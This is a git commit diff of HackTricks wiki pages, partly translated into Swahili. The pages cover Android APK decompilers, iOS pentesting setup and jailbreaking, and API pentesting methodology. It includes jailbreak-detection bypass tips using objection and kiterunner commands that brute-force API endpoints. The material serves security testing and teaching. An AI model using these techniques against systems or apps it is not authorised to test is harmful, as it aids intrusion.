Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md

This commit is contained in:
Translator 2024-11-05 18:08:12 +00:00
parent 7d79d91179
commit 85f3fb1981
5 changed files with 213 additions and 153 deletions

View file

@ -1,8 +1,8 @@
# APK decompilers
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,60 +14,75 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
</details>
{% endhint %}
{% endhint %}
**Kwa maelezo zaidi kuhusu kila chombo angalia chapisho la asili kutoka [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Kwa maelezo zaidi kuhusu kila chombo angalia chapisho la asili kutoka** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Kama decompiler ya GUI ya kwanza ya Java, **JD-Gui** inakuwezesha kuchunguza msimbo wa Java ndani ya faili za APK. Ni rahisi kutumia; baada ya kupata APK, fungua tu na JD-Gui ili kukagua msimbo.
Kama decompiler ya kwanza ya GUI ya Java, **JD-Gui** inakuwezesha kuchunguza msimbo wa Java ndani ya faili za APK. Ni rahisi kutumia; baada ya kupata APK, fungua tu na JD-Gui ili kukagua msimbo.
### [Jadx](https://github.com/skylot/jadx)
**Jadx** inatoa kiolesura rafiki kwa mtumiaji kwa ajili ya decompiling msimbo wa Java kutoka kwa programu za Android. Inapendekezwa kwa urahisi wake wa matumizi kwenye majukwaa tofauti.
**Jadx** inatoa kiolesura rafiki kwa ajili ya decompiling msimbo wa Java kutoka kwa programu za Android. Inapendekezwa kwa urahisi wa matumizi kwenye majukwaa tofauti.
- Ili kuzindua GUI, nenda kwenye saraka ya bin na tekeleza: `jadx-gui`
- Kwa matumizi ya mstari wa amri, decompile APK kwa: `jadx app.apk`
- Ili kubainisha saraka ya matokeo au kurekebisha chaguzi za decompilation: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
* Ili kuzindua GUI, nenda kwenye saraka ya bin na tekeleza: `jadx-gui`
* Kwa matumizi ya mstari wa amri, decompile APK na: `jadx app.apk`
* Ili kubainisha saraka ya matokeo au kurekebisha chaguzi za decompilation: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, chombo cha Windows pekee, kinatoa vipengele vingi kwa ajili ya uhandisi wa nyuma wa programu za Android. Sakinisha na endesha GDA kwenye mfumo wako wa Windows, kisha pakua faili ya APK kwa uchambuzi.
**GDA**, chombo cha Windows pekee, kinatoa vipengele vingi kwa ajili ya uhandisi wa nyuma wa programu za Android. Sakinisha na endesha GDA kwenye mfumo wako wa Windows, kisha pakia faili ya APK kwa uchambuzi.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
Pamoja na **Bytecode-Viewer**, unaweza kuchambua faili za APK kwa kutumia decompilers kadhaa. Baada ya kupakua, endesha Bytecode-Viewer, pakua APK yako, na chagua decompilers unazotaka kutumia kwa uchambuzi wa pamoja.
Pamoja na **Bytecode-Viewer**, unaweza kuchambua faili za APK kwa kutumia decompilers nyingi. Baada ya kupakua, endesha Bytecode-Viewer, pakia APK yako, na chagua decompilers unazotaka kutumia kwa uchambuzi wa pamoja.
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify** inatafsiri Dalvik bytecode kuwa Java bytecode, ikiruhusu zana za uchambuzi wa Java kuchambua programu za Android kwa ufanisi zaidi.
- Ili kutumia Enjarify, endesha: `enjarify app.apk`
Hii inazalisha Java bytecode sawa na APK iliyotolewa.
* Ili kutumia Enjarify, endesha: `enjarify app.apk` Hii inazalisha Java bytecode sawa na APK iliyotolewa.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** ina uwezo wa decompiling vipengele vya kisasa vya Java. Tumia kama ifuatavyo:
- Kwa decompilation ya kawaida: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Kwa faili kubwa za JAR, rekebisha ugawaji wa kumbukumbu ya JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Kwa decompilation ya kawaida: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
* Kwa faili kubwa za JAR, rekebisha ugawaji wa kumbukumbu ya JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, decompiler wa uchambuzi, inahitaji kujengwa kutoka chanzo. Baada ya kujenga:
- Decompile faili ya JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Kisha, toa faili za `.java` kutoka kwa JAR iliyozalishwa kwa kutumia `unzip`.
* Decompile faili ya JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"` Kisha, toa faili za `.java` kutoka kwa JAR iliyozalishwa kwa kutumia `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** inatoa udhibiti wa kina juu ya decompilation, hasa kwa kushughulikia maktaba za nje.
- Tumia Krakatau kwa kubainisha njia ya maktaba ya kawaida na faili ya JAR ya decompile: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
* Tumia Krakatau kwa kubainisha njia ya maktaba ya kawaida na faili la JAR la decompile: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Kwa decompilation rahisi na **procyon**:
- Decompile faili ya JAR kwenye saraka iliyobainishwa: `procyon -jar "app.jar" -o "output_directory"`
* Decompile faili la JAR kwenye saraka iliyobainishwa: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
Chombo hiki kinaweza kutumika kutoa DEX ya APK inayotembea kwenye kumbukumbu. Hii husaidia kushinda obfuscation ya statiki ambayo inondolewa wakati programu inatekelezwa kwenye kumbukumbu.
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# iOS Testing Environment
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -14,32 +14,31 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
{% endhint %}
## Apple Developer Program
A **provisioning identity** ni mkusanyiko wa funguo za umma na za kibinafsi ambazo zinahusishwa na akaunti ya mdevelopa wa Apple. Ili **kusaini programu** unahitaji kulipa **99$/mwaka** ili kujiandikisha katika **Apple Developer Program** kupata kitambulisho chako cha ugawaji. Bila hii huwezi kuendesha programu kutoka kwa msimbo wa chanzo kwenye kifaa halisi. Chaguo lingine kufanya hivi ni kutumia **kifaa kilichovunjwa**.
**Kitambulisho cha ugawaji** ni mkusanyiko wa funguo za umma na za kibinafsi ambazo zinahusishwa na akaunti ya mende wa Apple. Ili **kusaini programu** unahitaji kulipa **99$/mwaka** kujiandikisha katika **Apple Developer Program** ili kupata kitambulisho chako cha ugawaji. Bila hii huwezi kuendesha programu kutoka kwa msimbo wa chanzo kwenye kifaa halisi. Chaguo lingine la kufanya hivi ni kutumia **kifaa kilichovunjwa**.
Kuanzia Xcode 7.2 Apple imetoa chaguo la kuunda **provisioning profile ya bure ya maendeleo ya iOS** inayoruhusu kuandika na kujaribu programu yako kwenye iPhone halisi. Nenda kwenye _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Ongeza ID mpya ya Appli na akiba zako) --> _Bonyeza kwenye Apple ID iliyoundwa_ --> _Manage Certificates_ --> _+_ (Maendeleo ya Apple) --> _Imefanyika_\
Kuanzia Xcode 7.2 Apple imetoa chaguo la kuunda **profaili ya ugawaji ya maendeleo ya iOS bure** ambayo inaruhusu kuandika na kujaribu programu yako kwenye iPhone halisi. Nenda kwenye _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Ongeza ID mpya ya Appli na akiba zako) --> _Bonyeza kwenye Apple ID iliyoundwa_ --> _Manage Certificates_ --> _+_ (Maendeleo ya Apple) --> _Done_\
\_\_Kisha, ili kuendesha programu yako kwenye iPhone yako unahitaji kwanza **kuonyesha iPhone kuamini kompyuta.** Kisha, unaweza kujaribu **kuendesha programu kwenye simu kutoka Xcode,** lakini kosa litaonekana. Hivyo nenda kwenye _Settings_ --> _General_ --> _Profiles and Device Management_ --> Chagua profaili isiyoaminika na bonyeza "**Amini**".
Kumbuka kwamba **programu zilizotiwa saini na cheti sawa cha kusaini zinaweza kushiriki rasilimali kwa njia salama, kama vitu vya keychain**.
Kumbuka kwamba **programu zilizotiwa saini na cheti sawa cha saini zinaweza kushiriki rasilimali kwa njia salama, kama vitu vya keychain**.
Profaili za ugawaji zimehifadhiwa ndani ya simu katika **`/Library/MobileDevice/ProvisioningProfiles`**
## **Simulator**
{% hint style="info" %}
Kumbuka kwamba **simulator si sawa na emulator**. Simulator inasimulia tu tabia ya kifaa na kazi lakini haitumii kwa kweli.
Kumbuka kwamba **simulator si sawa na emulator**. Simulator inasimulia tu tabia ya kifaa na kazi lakini haitumii kweli.
{% endhint %}
### **Simulator**
Jambo la kwanza unahitaji kujua ni kwamba **kutekeleza pentest ndani ya simulator kutakuwa na mipaka zaidi kuliko kufanya hivyo kwenye kifaa kilichovunjwa**.
Zana zote zinazohitajika kujenga na kusaidia programu ya iOS zina **tu zinasupport rasmi kwenye Mac OS**.\
Zana zote zinazohitajika kujenga na kusaidia programu ya iOS zinapatikana **tu rasmi kwenye Mac OS**.\
Zana ya de facto ya Apple kwa kuunda/kukarabati/kufanya kazi za iOS ni **Xcode**. Inaweza kutumika kupakua vipengele vingine kama **simulators** na **SDK** **toleo** tofauti zinazohitajika kujenga na **kujaribu** programu yako.\
Inapendekezwa sana **kupakua** Xcode kutoka kwenye **duka rasmi la programu**. Toleo lingine linaweza kuwa na malware.
Inapendekezwa sana **kupakua** Xcode kutoka **duka rasmi la programu**. Toleo lingine linaweza kuwa na malware.
Faili za simulator zinaweza kupatikana katika `/Users/<username>/Library/Developer/CoreSimulator/Devices`
@ -67,25 +66,29 @@ And in this folder you can **find the package of the application.**
Corellium ni emulator pekee wa iOS unaopatikana hadharani. Ni suluhisho la SaaS la biashara lenye mfano wa leseni kwa mtumiaji na halitoi leseni ya majaribio.
## Jailbeaking
## No Jailbreak needed
Apple inahitaji kwa nguvu kwamba msimbo unaotumika kwenye iPhone lazima uwe **umetiwa saini na cheti kilichotolewa na Apple**. **Jailbreaking** ni mchakato wa **kuzingatia vizuizi kama hivyo** na udhibiti mwingine wa usalama uliowekwa na OS. Hivyo, mara tu kifaa kinapokuwa kimejailbreak, **ukaguzi wa uaminifu** ambao unawajibika kwa kuangalia programu zinazowekwa unarekebishwa ili **upitishwe**.
Angalia chapisho hili la blog kuhusu jinsi ya pentest programu ya iOS katika **kipande kisichovunjwa**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
## Jailbreaking
Apple inahitaji kwa nguvu kwamba msimbo unaotumika kwenye iPhone lazima uwe **umetiwa saini na cheti kilichotolewa na Apple**. **Jailbreaking** ni mchakato wa **kuzunguka vizuizi hivyo** na udhibiti mwingine wa usalama uliowekwa na OS. Hivyo, mara tu kifaa kinapovunjwa, **ukaguzi wa uadilifu** ambao unawajibika kwa kuangalia programu zinazowekwa unarekebishwa ili **upitishwe**.
{% hint style="info" %}
Tofauti na Android, **huwezi kubadilisha kuwa "Mode ya Developer"** kwenye iOS ili kuendesha msimbo usio na saini/usioaminika kwenye kifaa.
Tofauti na Android, **huwezi kubadilisha kuwa "Mode ya Developer"** katika iOS ili kuendesha msimbo usio na saini/usioaminika kwenye kifaa.
{% endhint %}
### Android Rooting vs. iOS Jailbreaking
Ingawa mara nyingi hufananishwa, **rooting** kwenye Android na **jailbreaking** kwenye iOS ni michakato tofauti kimsingi. Kuweka mizizi kwenye vifaa vya Android kunaweza kujumuisha **kufunga `su` binary** au **kurekebisha mfumo kwa ROM iliyowekwa mizizi**, ambayo haihitaji lazima matumizi ya udhaifu ikiwa bootloader imefunguliwa. **Kuflash ROM za kawaida** kunabadilisha OS ya kifaa baada ya kufungua bootloader, wakati mwingine kunahitaji udhaifu.
Kwa upande mwingine, vifaa vya iOS haviwezi kuflash ROM za kawaida kutokana na vizuizi vya bootloader vya kuanzisha picha zilizosainiwa na Apple pekee. **Jailbreaking iOS** inalenga kupitisha ulinzi wa saini wa msimbo wa Apple ili kuendesha msimbo usio na saini, mchakato ambao unachanganya na maboresho ya usalama ya Apple yanayoendelea.
Kwa upande mwingine, vifaa vya iOS haviwezi kuflash ROM za kawaida kutokana na vizuizi vya bootloader vya kuanzisha picha zilizotiwa saini na Apple pekee. **Jailbreaking iOS** inalenga kupita ulinzi wa saini wa Apple ili kuendesha msimbo usio na saini, mchakato ambao unachanganya na maboresho ya usalama ya Apple yanayoendelea.
### Jailbreaking Challenges
Jailbreaking iOS inakuwa ngumu zaidi kadri Apple inavyorekebisha udhaifu haraka. **Kudondosha iOS** kunawezekana tu kwa muda mfupi baada ya kutolewa, na kufanya jailbreaking kuwa suala la muda. Vifaa vinavyotumika kwa majaribio ya usalama havipaswi kusasishwa isipokuwa re-jailbreaking inahakikishwa.
Sasisho za iOS zinadhibitiwa na **mekanism ya changamoto-jibu** (SHSH blobs), ikiruhusu usakinishaji tu kwa majibu yaliyo saini na Apple. Mekanism hii, inayojulikana kama "dirisha la saini", inakabili uwezo wa kuhifadhi na baadaye kutumia vifurushi vya firmware vya OTA. Tovuti ya [IPSW Downloads](https://ipsw.me) ni rasilimali ya kuangalia dirisha za sasa za saini.
Sasisho za iOS zinadhibitiwa na **mekanism ya changamoto-jibu** (SHSH blobs), ikiruhusu usakinishaji tu kwa majibu yaliyotiwa saini na Apple. Mkanism hii, inayojulikana kama "dirisha la saini", inapunguza uwezo wa kuhifadhi na kutumia baadaye vifurushi vya firmware vya OTA. Tovuti ya [IPSW Downloads](https://ipsw.me) ni rasilimali ya kuangalia dirisha za sasa za saini.
### Jailbreak Varieties
@ -106,7 +109,7 @@ Kurekebisha kifaa chako kuna hatari, na jailbreaking inapaswa kuchukuliwa kwa ta
### Jailbreaking Benefits and Risks
Jailbreaking **inondoa sandboxing iliyowekwa na OS**, ikiruhusu programu kufikia mfumo mzima wa faili. Uhuru huu unaruhusu usakinishaji wa programu zisizokubaliwa na ufikiaji wa APIs zaidi. Hata hivyo, kwa watumiaji wa kawaida, jailbreaking **haitashauriwa** kutokana na hatari za usalama na kutokuwa na utulivu kwa kifaa.
Jailbreaking **inondoa sanduku la OS**, ikiruhusu programu kufikia mfumo mzima wa faili. Uhuru huu unaruhusu usakinishaji wa programu zisizothibitishwa na ufikiaji wa APIs zaidi. Hata hivyo, kwa watumiaji wa kawaida, jailbreaking **haitashauriwa** kutokana na hatari za usalama na kutokuwa thabiti kwa kifaa.
### **After Jailbreaking**
@ -116,13 +119,13 @@ Jailbreaking **inondoa sandboxing iliyowekwa na OS**, ikiruhusu programu kufikia
### **Jailbreak Detection**
**Programu kadhaa zitajaribu kugundua ikiwa simu imejailbroken na katika hali hiyo programu haitakimbia**
**Programu kadhaa zitajaribu kugundua ikiwa simu imevunjwa na katika kesi hiyo programu haitafanya kazi**
* Baada ya jailbreaking iOS **faili na folda kwa kawaida huwekwa**, hizi zinaweza kutafutwa ili kubaini ikiwa kifaa kimejailbroken.
* Katika kifaa kilichojailbroken programu zinapata **ufikiaji wa kusoma/kandika kwa faili mpya** nje ya sandbox
* Baadhi ya **API** **itoaji** zitakuwa **na tabia tofauti**
* Uwepo wa huduma ya **OpenSSH**
* Kuita `/bin/sh` itarejesha **1** badala ya 0
* Baada ya jailbreaking iOS **faili na folda kwa kawaida huwekwa**, hizi zinaweza kutafutwa ili kubaini ikiwa kifaa kimevunjwa.
* Katika kifaa kilichovunjwa programu zinapata **ufikiaji wa kusoma/kandika kwa faili mpya** nje ya sanduku.
* Baadhi ya **API** **itoaji** zitakuwa **na tabia tofauti**.
* Uwepo wa huduma ya **OpenSSH**.
* Kuita `/bin/sh` kutarudi **1** badala ya 0.
**Taarifa zaidi kuhusu jinsi ya kugundua jailbreaking** [**hapa**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
@ -131,14 +134,15 @@ Unaweza kujaribu kuepuka hizi kugundua kwa kutumia **objection's** `ios jailbrea
## **Jailbreak Detection Bypass**
* Unaweza kujaribu kuepuka hizi kugundua kwa kutumia **objection's** `ios jailbreak disable`
* Unaweza pia kufunga zana **Liberty Lite** (https://ryleyangus.com/repo/). Mara tu repo itakapoongezwa, programu inapaswa kuonekana kwenye tab ya Search
* Unaweza pia kufunga zana **Liberty Lite** (https://ryleyangus.com/repo/). Mara tu repo itakapoongezwa, programu inapaswa kuonekana kwenye tab ya Tafuta
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Web API Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -24,48 +24,49 @@ Get Access Today:
## API Pentesting Methodology Summary
Pentesting APIs inahusisha mbinu iliyopangwa ya kugundua udhaifu. Mwongo huu unajumuisha mbinu kamili, ukisisitiza mbinu na zana za vitendo.
Pentesting APIs involves a structured approach to uncovering vulnerabilities. This guide encapsulates a comprehensive methodology, emphasizing practical techniques and tools.
### **Understanding API Types**
* **SOAP/XML Web Services**: Tumia muundo wa WSDL kwa ajili ya nyaraka, mara nyingi hupatikana kwenye njia za `?wsdl`. Zana kama **SOAPUI** na **WSDLer** (Burp Suite Extension) ni muhimu kwa ajili ya kuchambua na kuunda maombi. Mfano wa nyaraka unapatikana kwenye [DNE Online](http://www.dneonline.com/calculator.asmx).
* **SOAP/XML Web Services**: Tumia muundo wa WSDL kwa ajili ya nyaraka, mara nyingi hupatikana katika njia za `?wsdl`. Zana kama **SOAPUI** na **WSDLer** (Burp Suite Extension) ni muhimu kwa ajili ya kuchambua na kuunda maombi. Mfano wa nyaraka unapatikana katika [DNE Online](http://www.dneonline.com/calculator.asmx).
* **REST APIs (JSON)**: Nyaraka mara nyingi zinakuja katika faili za WADL, lakini zana kama [Swagger UI](https://swagger.io/tools/swagger-ui/) hutoa kiolesura rahisi zaidi kwa ajili ya mwingiliano. **Postman** ni zana muhimu kwa ajili ya kuunda na kusimamia maombi ya mfano.
* **GraphQL**: Lugha ya kuhoji kwa APIs inayo toa maelezo kamili na yanayoeleweka kuhusu data katika API yako.
### **Practice Labs**
* [**VAmPI**](https://github.com/erev0s/VAmPI): API yenye udhaifu wa makusudi kwa ajili ya mazoezi ya vitendo, ikif covering OWASP top 10 API vulnerabilities.
* [**VAmPI**](https://github.com/erev0s/VAmPI): API yenye makusudi ya kuwa na udhaifu kwa ajili ya mazoezi ya vitendo, inashughulikia udhaifu wa juu 10 wa API wa OWASP.
### **Effective Tricks for API Pentesting**
* **SOAP/XML Vulnerabilities**: Chunguza udhaifu wa XXE, ingawa matangazo ya DTD mara nyingi yanapigwa marufuku. Mikataba ya CDATA inaweza kuruhusu kuingiza payload ikiwa XML inabaki kuwa halali.
* **SOAP/XML Vulnerabilities**: Chunguza udhaifu wa XXE, ingawa matangazo ya DTD mara nyingi yanapigwa marufuku. Mikataba ya CDATA inaweza kuruhusu kuingiza mzigo ikiwa XML inabaki kuwa halali.
* **Privilege Escalation**: Jaribu mwisho wa huduma zenye viwango tofauti vya ruhusa ili kubaini uwezekano wa ufikiaji usioidhinishwa.
* **CORS Misconfigurations**: Chunguza mipangilio ya CORS kwa uwezekano wa kutumiwa kupitia mashambulizi ya CSRF kutoka kwa vikao vilivyoidhinishwa.
* **Endpoint Discovery**: Tumia mifumo ya API kugundua mwisho wa huduma zilizofichwa. Zana kama fuzzers zinaweza kuharakisha mchakato huu.
* **Endpoint Discovery**: Tumia mifumo ya API kugundua mwisho wa huduma zilizofichwa. Zana kama fuzzers zinaweza kuendesha mchakato huu.
* **Parameter Tampering**: Jaribu kuongeza au kubadilisha vigezo katika maombi ili kufikia data au kazi zisizoidhinishwa.
* **HTTP Method Testing**: Badilisha mbinu za maombi (GET, POST, PUT, DELETE, PATCH) ili kugundua tabia zisizotarajiwa au uvujaji wa taarifa.
* **Content-Type Manipulation**: Badilisha kati ya aina tofauti za maudhui (x-www-form-urlencoded, application/xml, application/json) ili kujaribu matatizo ya uchambuzi au udhaifu.
* **Advanced Parameter Techniques**: Jaribu na aina zisizotarajiwa za data katika payloads za JSON au cheza na data za XML kwa ajili ya XXE injections. Pia, jaribu uchafuzi wa vigezo na wahusika wa wildcard kwa ajili ya majaribio mapana.
* **Advanced Parameter Techniques**: Jaribu na aina zisizotarajiwa za data katika mzigo wa JSON au cheza na data ya XML kwa ajili ya XXE kuingilia. Pia, jaribu uchafuzi wa vigezo na wahusika wa wildcard kwa ajili ya majaribio mapana.
* **Version Testing**: Matoleo ya zamani ya API yanaweza kuwa na uwezekano mkubwa wa kushambuliwa. Daima angalia na jaribu dhidi ya matoleo mengi ya API.
### **Tools and Resources for API Pentesting**
* [**kiterunner**](https://github.com/assetnote/kiterunner): Nzuri kwa ajili ya kugundua mwisho wa API. Tumia kuangalia na kujaribu njia na vigezo dhidi ya APIs za lengo.
* [**kiterunner**](https://github.com/assetnote/kiterunner): Nzuri kwa ajili ya kugundua mwisho wa API. Tumia kuangalia na kulazimisha njia na vigezo dhidi ya APIs lengwa.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
* Zana za ziada kama **automatic-api-attack-tool**, **Astra**, na **restler-fuzzer** hutoa kazi maalum za kupima usalama wa API, kuanzia kutoka kwa uigaji wa shambulio hadi fuzzing na skanning ya udhaifu.
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj ni zana ya mstari wa amri iliyoundwa kusaidia katika ukaguzi wa **faili za ufafanuzi za Swagger/OpenAPI** zilizofichuliwa kwa kuangalia mwisho wa API zinazohusiana kwa uthibitisho dhaifu. Pia inatoa templeti za amri kwa ajili ya kupima udhaifu kwa mikono.
* Zana za ziada kama **automatic-api-attack-tool**, **Astra**, na **restler-fuzzer** zinatoa kazi maalum za kupima usalama wa API, kuanzia simulating shambulio hadi fuzzing na skanning ya udhaifu.
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Ni zana ya usalama wa API inayokagua API yako kulingana na faili ya OAS (zana hiyo imeandikwa kwa rust).
### **Rasilimali za Kujifunza na Mazoezi**
* **OWASP API Security Top 10**: Kusoma muhimu kwa kuelewa udhaifu wa kawaida wa API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
* **API Security Checklist**: Orodha kamili ya kuhakikisha usalama wa APIs ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
* **Logger++ Filters**: Kwa kuwinda udhaifu wa API, Logger++ inatoa filters muhimu ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Endpoints List**: Orodha iliyochaguliwa ya maeneo ya API yanayoweza kutumika kwa madhumuni ya kupima ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
* **Logger++ Filters**: Kwa ajili ya kuwinda udhaifu wa API, Logger++ inatoa filters muhimu ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
* **API Endpoints List**: Orodha iliyochaguliwa ya mwisho wa API zinazoweza kutumika kwa madhumuni ya kupima ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Marejeleo
@ -73,14 +74,14 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
